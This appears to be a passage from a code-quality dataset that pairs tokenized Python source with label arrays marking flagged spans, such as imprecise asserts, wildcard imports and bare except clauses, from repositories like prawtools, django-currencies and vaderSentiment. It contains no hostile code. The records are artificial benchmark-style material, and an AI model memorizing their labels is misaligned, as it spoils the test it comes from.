"Class_", "==_", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "\"", "Classif", "ied", " ", "as", " ", "\"_", "+_", "str_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Write", "Text_", "(_", "disp_", ",_", "img_", ",_", "text_", ",_", "Color_", "._", "GREEN_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct_", "=_", "correct_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "\"", "Mis", "lass", "ified", " ", "as", " ", "\"_", "+_", "str_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Write", "Text_", "(_", "disp_", ",_", "img_", ",_", "text_", ",_", "Color_", "._", "RED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "count_", "=_", "count_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "img_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "[_", "dataset_", ",_", "count_", ",_", "correct_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Image", "Set_", "(_", "self_", ",_", "images", "et_", ",_", "class", "Name_", ",_", "dataset_", ",_", "subset_", ",_", "disp_", ",_", "verbose_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad", "Feat", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "subset_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "images", "et_", "=_", "images", "et_", "[_", "0_", ":_", "subset_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "img_", "in_", "images", "et_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Open", "ing", " ", "file", ":", " ", "\"_", "+_", "img_", "._", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "Vector_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "extractor_", "in_", "self_", "._", "m", "Feature", "Extract", "ors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feats_", "=_", "extractor_", "._", "extract_", "(_", "img_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "feats_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "feature", "Vector_", "._", "extend_", "(_", "feats_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "bad", "Feat", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "bad", "Feat", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "img_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad", "Feat", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "Vector_", "._", "extend_", "(_", "[_", "class", "Name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset_", "._", "append_", "(_", "feature", "Vector_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test_", "=_", "orange", "_", "._", "Exam", "ple", "Table_", "(_", "self_", "._", "m", "Ora", "nge", "Domain_", ",_", "[_", "feature", "Vector_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "m", "Classifier_", "(_", "test_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test", "Class_", "=_", "test_", "[_", "0_", "]_", "._", "getc", "lass_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "test", "Class_", "==_", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "\"", "Classif", "ied", " ", "as", " ", "\"_", "+_", "str_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Write", "Text_", "(_", "disp_", ",_", "img_", ",_", "text_", ",_", "Color_", "._", "GREEN_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct_", "=_", "correct_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "\"", "Mis", "lass", "ified", " ", "as", " ", "\"_", "+_", "str_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Write", "Text_", "(_", "disp_", ",_", "img_", ",_", "text_", ",_", "Color_", "._", "RED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "count_", "=_", "count_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "img_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "[_", "dataset_", ",_", "count_", ",_", "correct_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Write", "Text_", "(_", "self_", ",_", "disp_", ",_", "img_", ",_", "txt_", ",_", "color_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "disp_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "txt_", "=_", "'", " ", "'_", "+_", "txt_", "+_", "'", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img_", "=_", "img_", "._", "adapti", "ve", "Scale_", "(_", "disp_", "._", "resolution_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layer_", "=_", "Draw", "ing", "Layer_", "(_", "(_", "img_", "._", "width_", ",_", "img_", "._", "height_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layer_", "._", "set", "Font", "Size_", "(_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layer_", "._", "ez", "View", "Text_", "(_", "txt_", ",_", "(_", "20_", ",_", "20_", ")_", ",_", "fg", "color_", "=_", "color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img_", "._", "add", "Draw", "ing", "Layer_", "(_", "layer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img_", "._", "appl", "y", "Layers_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img_", "._", "save_", "(_", "disp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Print", "Tree_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "adapt", "ed", " ", "from", " ", "the", " ", "orange", " ", "documentation", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "x_", ")_", "==_", "orange", "_", "._", "Tree", "Classifier_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Print", "Tree", "0_", "(_", "x_", "._", "tree_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "(_", "x_", ")_", "==_", "orange", "_", "._", "Tree", "Node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Print", "Tree", "0_", "(_", "x_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", ",_", "\"", "invalid", " ", "parameter", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Print", "Tree", "0_", "(_", "self_", ",_", "node_", ",_", "level_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "adapt", "ed", " ", "from", " ", "the", " ", "orange", " ", "documentation", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "\"_", "*_", "level_", "+_", "\"<", "null", " ", "node", ">\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "node_", "._", "branch", "Selector_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "Desc_", "=_", "node_", "._", "branch", "Selector_", "._", "class", "Var_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "Cont", "_", "=_", "node_", "._", "distribution_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "\"_", "+_", "\"", " ", " ", " ", "\"_", "*_", "level_", "+_", "\"%", "s", " ", "(%", "s", ")\"_", "%_", "(_", "node", "Desc_", ",_", "node", "Cont", "_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "node_", "._", "branches_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\\\\", "n", "\"_", "+_", "\"", " ", " ", " ", "\"_", "*_", "level_", "+_", "\":", " ", "%", "s", "\"_", "%_", "node_", "._", "branch", "Descripti", "ons_", "[_", "i_", "]_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Print", "Tree", "0_", "(_", "node_", "._", "branches_", "[_", "i_", "]_", ",_", "level_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "Cont", "_", "=_", "node_", "._", "distribution_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "major", "Class_", "=_", "node_", "._", "node", "Classifier_", "._", "default", "Value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"--", ">", " ", "%", "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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
praw-dev/prawtools/tests.py
[ { "content": " def test_recent(self):\n srs = SubRedditStats('redditdev', None, None)\n self.assertTrue(\n srs.fetch_recent_submissions(max_duration=7,\n after=None,\n exclude_self=False,\n exclude_link=False))\n self.assertTrue(len(srs.submissions) > 1)\n prev = 0\n for submission in srs.submissions:\n self.assertTrue(prev < submission.created_utc)\n prev = submission.created_utc", "metadata": "root.StatsTest.test_recent", "header": "['class', 'StatsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '# pylint: disable-msg=R0904', '___EOS___']", "index": 6 }, { "content": " def test_top(self):\n srs = SubRedditStats('redditdev', None, None)\n self.assertTrue(\n srs.fetch_top_submissions('week', None, None))\n self.assertTrue(len(srs.submissions) > 1)\n prev = 0\n for submission in srs.submissions:\n self.assertTrue(prev < submission.created_utc)\n prev = submission.created_utc", "metadata": "root.StatsTest.test_top", "header": "['class', 'StatsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '# pylint: disable-msg=R0904', '___EOS___']", "index": 25 } ]
[ { "span": "self.assertTrue(len(srs.submissions) > 1)", "start_line": 13, "start_column": 8, "end_line": 13, "end_column": 49 }, { "span": "self.assertTrue(prev < submission.created_utc)", "start_line": 16, "start_column": 12, "end_line": 16, "end_column": 58 }, { "span": "self.assertTrue(len(srs.submissions) > 1)", "start_line": 29, "start_column": 8, "end_line": 29, "end_column": 49 }, { "span": "self.assertTrue(prev < submission.created_utc)", "start_line": 32, "start_column": 12, "end_line": 32, "end_column": 58 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Stat", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "#", " ", "pylint", ":", " ", "disable", "-", "msg", "=", "R0", "904", "_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "recent_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "srs_", "=_", "Sub", "Reddit", "Stats_", "(_", "'", "reddit", "dev", "'_", ",_", "None_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "srs_", "._", "fetch", "\\u", "recent", "\\u", "submissions_", "(_", "max", "\\u", "duration_", "=_", "7_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "after_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exclu", "de", "\\u", "self_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exclu", "de", "\\u", "link_", "=_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "srs_", "._", "submissions_", ")_", ">_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "submission_", "in_", "srs_", "._", "submissions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "prev_", "<_", "submission_", "._", "created", "\\u", "utc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "=_", "submission_", "._", "created", "\\u", "utc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Stat", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "#", " ", "pylint", ":", " ", "disable", "-", "msg", "=", "R0", "904", "_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "top_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "srs_", "=_", "Sub", "Reddit", "Stats_", "(_", "'", "reddit", "dev", "'_", ",_", "None_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "srs_", "._", "fetch", "\\u", "top", "\\u", "submissions_", "(_", "'", "week", "'_", ",_", "None_", ",_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "srs_", "._", "submissions_", ")_", ">_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "submission_", "in_", "srs_", "._", "submissions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "prev_", "<_", "submission_", "._", "created", "\\u", "utc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "=_", "submission_", "._", "created", "\\u", "utc_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
'import *' may pollute namespace
hassanch/django-currencies/currencies/tests/tests.py
[ { "content": "from decimal import *\nfrom django.test import TestCase\nfrom django.conf import settings\nfrom django import template\nfrom currencies.models import Currency\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from decimal import *", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 21 } ]
[]
1
true
[ "[CLS]_", "'", "import", " ", "*'_", "may", "_", "poll", "ute", "_", "namespace_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "decimal_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "test_", "import_", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "import_", "template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "currencies", "_", "._", "models_", "import_", "Currenc", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
cjhutto/vaderSentiment/vaderSentiment/vaderSentiment.py
[ { "content": "#!/usr/bin/python\n# coding: utf-8 \n'''\nCreated on July 04, 2013\n@author: C.J. Hutto\n\nCitation Information\n\nIf you use any of the VADER sentiment analysis tools \n(VADER sentiment lexicon or Python code for rule-based sentiment \nanalysis engine) in your work or research, please cite the paper. \nFor example:\n\n Hutto, C.J. & Gilbert, E.E. (2014). VADER: A Parsimonious Rule-based Model for \n Sentiment Analysis of Social Media Text. Eighth International Conference on \n Weblogs and Social Media (ICWSM-14). Ann Arbor, MI, June 2014.\n'''\n\nimport os, math, re, sys, fnmatch, string \nreload(sys)\n\n \nf = 'vader_sentiment_lexicon.txt' # empirically derived valence ratings for words, emoticons, slang, swear words, acronyms/initialisms\ntry:\n WORD_VALENCE_DICT = make_lex_dict(f)\nexcept:\n f = os.path.join(os.path.dirname(__file__),'vader_sentiment_lexicon.txt')\n WORD_VALENCE_DICT = make_lex_dict(f)\n\n\n##CONSTANTS#####\n\n#(empirically derived mean sentiment intensity rating increase for booster words)\nB_INCR = 0.293\nB_DECR = -0.293\n\n#(empirically derived mean sentiment intensity rating increase for using ALLCAPs to emphasize a word)\nc_INCR = 0.733\n\n# for removing punctuation\nREGEX_REMOVE_PUNCTUATION = re.compile('[%s]' % re.escape(string.punctuation))\n\nPUNC_LIST = [\".\", \"!\", \"?\", \",\", \";\", \":\", \"-\", \"'\", \"\\\"\",\n \"!!\", \"!!!\", \"??\", \"???\", \"?!?\", \"!?!\", \"?!?!\", \"!?!?\"]\nNEGATE = [\"aint\", \"arent\", \"cannot\", \"cant\", \"couldnt\", \"darent\", \"didnt\", \"doesnt\",\n \"ain't\", \"aren't\", \"can't\", \"couldn't\", \"daren't\", \"didn't\", \"doesn't\",\n \"dont\", \"hadnt\", \"hasnt\", \"havent\", \"isnt\", \"mightnt\", \"mustnt\", \"neither\",\n \"don't\", \"hadn't\", \"hasn't\", \"haven't\", \"isn't\", \"mightn't\", \"mustn't\",\n \"neednt\", \"needn't\", \"never\", \"none\", \"nope\", \"nor\", \"not\", \"nothing\", \"nowhere\",\n \"oughtnt\", \"shant\", \"shouldnt\", \"uhuh\", \"wasnt\", \"werent\",\n \"oughtn't\", \"shan't\", \"shouldn't\", \"uh-uh\", \"wasn't\", \"weren't\",\n \"without\", \"wont\", \"wouldnt\", \"won't\", \"wouldn't\", \"rarely\", \"seldom\", \"despite\"]\n# booster/dampener 'intensifiers' or 'degree adverbs' http://en.wiktionary.org/wiki/Category:English_degree_adverbs\nBOOSTER_DICT = {\"absolutely\": B_INCR, \"amazingly\": B_INCR, \"awfully\": B_INCR, \"completely\": B_INCR, \"considerably\": B_INCR,\n \"decidedly\": B_INCR, \"deeply\": B_INCR, \"effing\": B_INCR, \"enormously\": B_INCR,\n \"entirely\": B_INCR, \"especially\": B_INCR, \"exceptionally\": B_INCR, \"extremely\": B_INCR,\n \"fabulously\": B_INCR, \"flipping\": B_INCR, \"flippin\": B_INCR,\n \"fricking\": B_INCR, \"frickin\": B_INCR, \"frigging\": B_INCR, \"friggin\": B_INCR, \"fully\": B_INCR, \"fucking\": B_INCR,\n \"greatly\": B_INCR, \"hella\": B_INCR, \"highly\": B_INCR, \"hugely\": B_INCR, \"incredibly\": B_INCR,\n \"intensely\": B_INCR, \"majorly\": B_INCR, \"more\": B_INCR, \"most\": B_INCR, \"particularly\": B_INCR,\n \"purely\": B_INCR, \"quite\": B_INCR, \"really\": B_INCR, \"remarkably\": B_INCR,\n \"so\": B_INCR, \"substantially\": B_INCR,\n \"thoroughly\": B_INCR, \"totally\": B_INCR, \"tremendously\": B_INCR,\n \"uber\": B_INCR, \"unbelievably\": B_INCR, \"unusually\": B_INCR, \"utterly\": B_INCR,\n \"very\": B_INCR,\n \"almost\": B_DECR, \"barely\": B_DECR, \"hardly\": B_DECR, \"just enough\": B_DECR,\n \"kind of\": B_DECR, \"kinda\": B_DECR, \"kindof\": B_DECR, \"kind-of\": B_DECR,\n \"less\": B_DECR, \"little\": B_DECR, \"marginally\": B_DECR, \"occasionally\": B_DECR, \"partly\": B_DECR,\n \"scarcely\": B_DECR, \"slightly\": B_DECR, \"somewhat\": B_DECR,\n \"sort of\": B_DECR, \"sorta\": B_DECR, \"sortof\": B_DECR, \"sort-of\": B_DECR}\n\n# check for special case idioms using a sentiment-laden keyword known to SAGE\nSPECIAL_CASE_IDIOMS = {\"the shit\": 3, \"the bomb\": 3, \"bad ass\": 1.5, \"yeah right\": -2,\n \"cut the mustard\": 2, \"kiss of death\": -1.5, \"hand to mouth\": -2}\n\n\n\n\n\n\n#check if the preceding words increase, decrease, or negate/nullify the valence\n\n\n\nif __name__ == '__main__':\n # --- examples -------\n sentences = [\n u\"VADER is smart, handsome, and funny.\", # positive sentence example\n u\"VADER is smart, handsome, and funny!\", # punctuation emphasis handled correctly (sentiment intensity adjusted)\n u\"VADER is very smart, handsome, and funny.\", # booster words handled correctly (sentiment intensity adjusted)\n u\"VADER is VERY SMART, handsome, and FUNNY.\", # emphasis for ALLCAPS handled\n u\"VADER is VERY SMART, handsome, and FUNNY!!!\",# combination of signals - VADER appropriately adjusts intensity\n u\"VADER is VERY SMART, really handsome, and INCREDIBLY FUNNY!!!\",# booster words & punctuation make this close to ceiling for score\n u\"The book was good.\", # positive sentence\n u\"The book was kind of good.\", # qualified positive sentence is handled correctly (intensity adjusted)\n u\"The plot was good, but the characters are uncompelling and the dialog is not great.\", # mixed negation sentence\n u\"A really bad, horrible book.\", # negative sentence with booster words\n u\"At least it isn't a horrible book.\", # negated negative sentence with contraction\n u\":) and :D\", # emoticons handled\n u\"\", # an empty string is correctly handled\n u\"Today sux\", # negative slang handled\n u\"Today sux!\", # negative slang with punctuation emphasis handled\n u\"Today SUX!\", # negative slang with capitalization emphasis\n u\"Today kinda sux! But I'll get by, lol\" # mixed sentiment example with slang and constrastive conjunction \"but\"\n ]\n paragraph = \"It was one of the worst movies I've seen, despite good reviews. \\\n Unbelievably bad acting!! Poor direction. VERY poor production. \\\n The movie was bad. Very bad movie. VERY bad movie. VERY BAD movie. VERY BAD movie!\"\n \n from nltk import tokenize\n lines_list = tokenize.sent_tokenize(paragraph)\n sentences.extend(lines_list)\n \n tricky_sentences = [\n \"Most automated sentiment analysis tools are shit.\",\n \"VADER sentiment analysis is the shit.\",\n \"Sentiment analysis has never been good.\",\n \"Sentiment analysis with VADER has never been this good.\",\n \"Warren Beatty has never been so entertaining.\",\n \"I won't say that the movie is astounding and I wouldn't claim that the movie is too banal either.\",\n \"I like to hate Michael Bay films, but I couldn't fault this one\",\n \"It's one thing to watch an Uwe Boll film, but another thing entirely to pay for it\",\n \"The movie was too good\",\n \"This movie was actually neither that funny, nor super witty.\",\n \"This movie doesn't care about cleverness, wit or any other kind of intelligent humor.\",\n \"Those who find ugly meanings in beautiful things are corrupt without being charming.\",\n \"There are slow and repetitive parts, BUT it has just enough spice to keep it interesting.\",\n \"The script is not fantastic, but the acting is decent and the cinematography is EXCELLENT!\", \n \"Roger Dodger is one of the most compelling variations on this theme.\",\n \"Roger Dodger is one of the least compelling variations on this theme.\",\n \"Roger Dodger is at least compelling as a variation on the theme.\",\n \"they fall in love with the product\",\n \"but then it breaks\",\n \"usually around the time the 90 day warranty expires\",\n \"the twin towers collapsed today\",\n \"However, Mr. Carter solemnly argues, his client carried out the kidnapping under orders and in the ''least offensive way possible.''\"\n ]\n sentences.extend(tricky_sentences)\n for sentence in sentences:\n print sentence\n ss = sentiment(sentence)\n print \"\\t\" + str(ss)\n \n print \"\\n\\n Done!\"\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def sentiment(text):\n \"\"\"\n Returns 